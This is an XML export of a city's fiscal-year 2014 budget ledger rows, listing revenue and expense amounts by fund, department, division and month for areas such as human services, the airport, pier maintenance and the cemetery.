<row _id="11350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4352.0</total></row>
<row _id="11351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1654.0</total></row>
<row _id="11352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5971.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5971.0</total></row>
<row _id="11353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1504.0</total></row>
<row _id="11354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4447.0</total></row>
<row _id="11355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402510.0</object><object_description>COMM &amp; TRIBUTE PROG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="11356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555350.0</object><object_description>COMM &amp; TRIBUTE PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="11357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-40659.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>40659</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409021.0</object><object_description>ENRICHMENT-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-124489.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>124489</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-54654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>54654</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408200.0</object><object_description>SINGLE-USE CARRYOUT BAG BAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="11361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402810.0</object><object_description>URN SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-18450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18450.0</total></row>
<row _id="11362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556140.0</object><object_description>SOLD VAULTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38000.0</total></row>
<row _id="11363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="11364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="11365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="11366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="11367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47300.0</total></row>
<row _id="11368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="11369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>194</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4294.0</total></row>
<row _id="11370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>61558.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61558.0</total></row>
<row _id="11371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10800.0</total></row>
<row _id="11372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>AMORT/ACCRET</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-55849.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55849.0</total></row>
<row _id="11373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>83794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>83794.0</total></row>
<row _id="11374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="11375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8491.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>176</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8667.0</total></row>
<row _id="11376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="11377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4523.0</total></row>
<row _id="11378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="11379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="11380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11817.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>239.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11578.0</total></row>
<row _id="11381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7594.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7594.0</total></row>
<row _id="11382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10737.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10737.0</total></row>
<row _id="11383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3715.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3715.0</total></row>
<row _id="11384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1663.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1663.0</total></row>
<row _id="11385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7630.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>89</december><january>-17.87</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7701.13</total></row>
<row _id="11386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="11387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402100.0</object><object_description>AIRPORT - FUEL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-295000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-295000.0</total></row>
<row _id="11388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2028.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>5.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2033.0</total></row>
<row _id="11389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12129.0</total></row>
<row _id="11390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2547.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>32</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2579.0</total></row>
<row _id="11391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1206.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1206.0</total></row>
<row _id="11392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="11393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4969.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>4.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4973.0</total></row>
<row _id="11394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>330285.0</july><august>0</august><september>0</september><october>0</october><november>-30733.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>299552.0</total></row>
<row _id="11395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10721.0</july><august>0</august><september>0</september><october>0</october><november>-838.0</november><december>146</december><january>35.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10064.0</total></row>
<row _id="11396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13034.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13034.0</total></row>
